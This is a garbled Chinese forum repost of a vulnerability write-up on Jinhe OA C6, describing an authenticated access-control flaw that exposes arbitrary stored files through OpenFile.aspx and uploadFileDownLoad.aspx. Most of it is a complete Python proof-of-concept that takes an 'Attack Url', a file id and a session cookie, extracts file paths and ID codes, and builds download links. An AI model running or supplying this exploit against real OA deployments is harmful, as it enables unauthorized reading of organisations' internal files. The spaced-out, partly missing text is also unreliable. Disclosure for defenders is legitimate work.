[20560] 2021-04-03_金和OAC6后台越权敏感文件遍历漏洞(没啥用的0day~)

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2021-04-03_金和OAC6后台越权敏感文件遍历漏洞(没啥用的0day~) O A   C 6     ( 0 d a y ~ ) K h a n   2 0 2 1 - 0 4 - 0 3 P e i Q i   P e i Q i O A   C 6   :     O A   C 6 :     P e i Q i   .
I D v a r   s t r F i l e P a t h   =   ' . . / R e s o u r c e / s l a v e s / 1 / 8 b 4 7 3 e c b - 7 b 3 9 - 4 3 8 4 - a d a 2 - b 0 e c 7 2 c 4 f 6 e d . p n g ' ; v a r   s t r F i l e T y p e   =   ' p n g ' ; v a r   s t r S i d = ' 3 j v p v h s 4 1 0 m 2 w d b b f i c a x 5 q 5 ' ; v a r   s t r F i l e I D C o d e = ' u s 9 w 7 x W E 7 d o = ' ; v a r   s t r I d   =   ' 1 2 2 9 ' ; v a r   s t r T x t R e g   =   ' t x t , i n i , x m l , c o n f i g , h t m , h t m l , j s , c s s , a s p , a s p x , j s p , c s , s q l , i n f , h t c , l o g ' ; v a r   s t r I m g R e g   =   ' j p g , g i f , j p e g , p n g , i c o ' ; v a r   M D   =   ' ' ;
  s t r F i l e P a t h     i d   n a m e I D 访 访 U r l   t y p e     访 访   i d h t t p : / / x x x . x x x . x x x . x x x / C 6 / c o n t r o l / O p e n F i l e . a s p x ? i d = 1 2 0 0 & n a m e = & t y p e = p d f
  s t r F i l e P a t h     F i l e I D     F i l e I D C o d e
I D   :     P O C P O C 访 i m p o r t   r e q u e s t s i m p o r t   s y s i m p o r t   r a n d o m i m p o r t   r e i m p o r t   b a s e 6 4 i m p o r t   t i m e f r o m   r e q u e s t s . p a c k a g e s . u r l l i b 3 . e x c e p t i o n s   i m p o r t   I n s e c u r e R e q u e s t W a r n i n g d e f   t i t l e ( ) :         p r i n t ( ' + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' )         p r i n t ( ' +     0 3 3 [ 3 4 m P O C _ D e s :   h t t p : / / w i k i . p e i q i . t e c h                                                                       0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m G i t h u b   :   h t t p s : / / g i t h u b . c o m / P e i Q i 0                                                                   0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m     :   P e i Q i                                                                                                       0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 4 m V e r s i o n :   O A   C 6                                                                                                     0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 6 m 使 :     p y t h o n 3   p o c . p y                                                                                         0 3 3 [ 0 m ' )         p r i n t ( ' +     0 3 3 [ 3 6 m U r l                   > > >   h t t p : / / x x x . x x x . x x x . x x x                                                           0 3 3 [ 0 m ' )         p r i n t ( ' + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' ) d e f   P O C _ 1 ( t a r g e t _ u r l ,   f i l e _ i d ,   c o o k i e ) :         v u l n _ u r l   =   t a r g e t _ u r l   +   " / C 6 / c o n t r o l / O p e n F i l e . a s p x ? i d = { } & n a m e = & t y p e = p d f " . f o r m a t ( f i l e _ i d )         h e a d e r s   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 6 . 0 . 4 2 4 0 . 1 1 1   S a f a r i / 5 3 7 . 3 6 " ,                 " C o n t e n t - T y p e " :   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ,                 " C o o k i e " : c o o k i e         }         t r y :                 r e q u e s t s . p a c k a g e s . u r l l i b 3 . d i s a b l e _ w a r n i n g s ( I n s e c u r e R e q u e s t W a r n i n g )                 r e s p o n s e   =   r e q u e s t s . g e t ( u r l = v u l n _ u r l ,   h e a d e r s = h e a d e r s ,   v e r i f y = F a l s e ,   t i m e o u t = 5 )                 p r i n t ( " 0 3 3 [ 3 6 m [ o ]     U r l :   { } 0 3 3 [ 0 m " . f o r m a t ( v u l n _ u r l ) )                 i f   " s t r F i l e P a t h   = "   i n   r e s p o n s e . t e x t   a n d   r e s p o n s e . s t a t u s _ c o d e   = =   2 0 0 :                         s t r F i l e P a t h   =   r e . f i n d a l l ( r " v a r   s t r F i l e P a t h   =   ' ( . * ? ) ' ; " ,   r e s p o n s e . t e x t ) [ 0 ]                         s t r F i l e T y p e   =   s t r F i l e P a t h [ - 3 : ]                         s t r F i l e I D C o d e   =   r e . f i n d a l l ( r " v a r   s t r F i l e I D C o d e = ' ( . * ? ) ' ; " ,   r e s p o n s e . t e x t ) [ 0 ]                         s t r I d   =   r e . f i n d a l l ( r " v a r   s t r I d   =   ' ( . * ? ) ' ; " ,   r e s p o n s e . t e x t ) [ 0 ]                         s i d   =   r e . f i n d a l l ( r ' A S P . N E T _ S e s s i o n I d = ( . * ? ) ; ' ,   c o o k i e ) [ 0 ]                         i f   s t r F i l e P a t h   ! =   " " :                                 p r i n t ( " 0 3 3 [ 3 6 m [ o ]     { }   ,   : n [ o ]   { } n [ o ]   { } n [ o ]   I D   c o d e { } n [ o ]   { } 0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ,   s t r F i l e P a t h ,   s t r F i l e T y p e , s t r F i l e I D C o d e ,   s t r I d   ) )                                 p r i n t ( " 0 3 3 [ 3 2 m [ o ]   :   { } / C 6 / J H S o f t . W e b . C u s t o m Q u e r y / u p l o a d F i l e D o w n L o a d . a s p x ? D e c r y p t = & F i l e I D = { } & F i l e I D C o d e = { } & s i d = { } " . f o r m a t ( t a r g e t _ u r l ,   s t r I d ,   s t r F i l e I D C o d e ,   s i d ) )                         e l s e :                                 p r i n t ( " 0 3 3 [ 3 1 m [ x ]     { }             0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ) )                 e l s e :                         p r i n t ( " 0 3 3 [ 3 1 m [ x ]     { }             0 3 3 [ 0 m " . f o r m a t ( t a r g e t _ u r l ) )         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t ( " 0 3 3 [ 3 1 m [ x ]     0 3 3 [ 0 m " ,   e ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         t i t l e ( )         t a r g e t _ u r l   =   s t r ( i n p u t ( " 0 3 3 [ 3 5 m P l e a s e   i n p u t   A t t a c k   U r l n U r l   > > >   0 3 3 [ 0 m " ) )         f i l e _ i d   =   s t r ( i n p u t ( " 0 3 3 [ 3 5 m F i l e _ i d   > > >   0 3 3 [ 0 m " ) )         c o o k i e   =   s t r ( i n p u t ( " 0 3 3 [ 3 5 m C o o k i e     > > >   0 3 3 [ 0 m " ) )         P O C _ 1 ( t a r g e t _ u r l ,   f i l e _ i d ,   c o o k i e )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则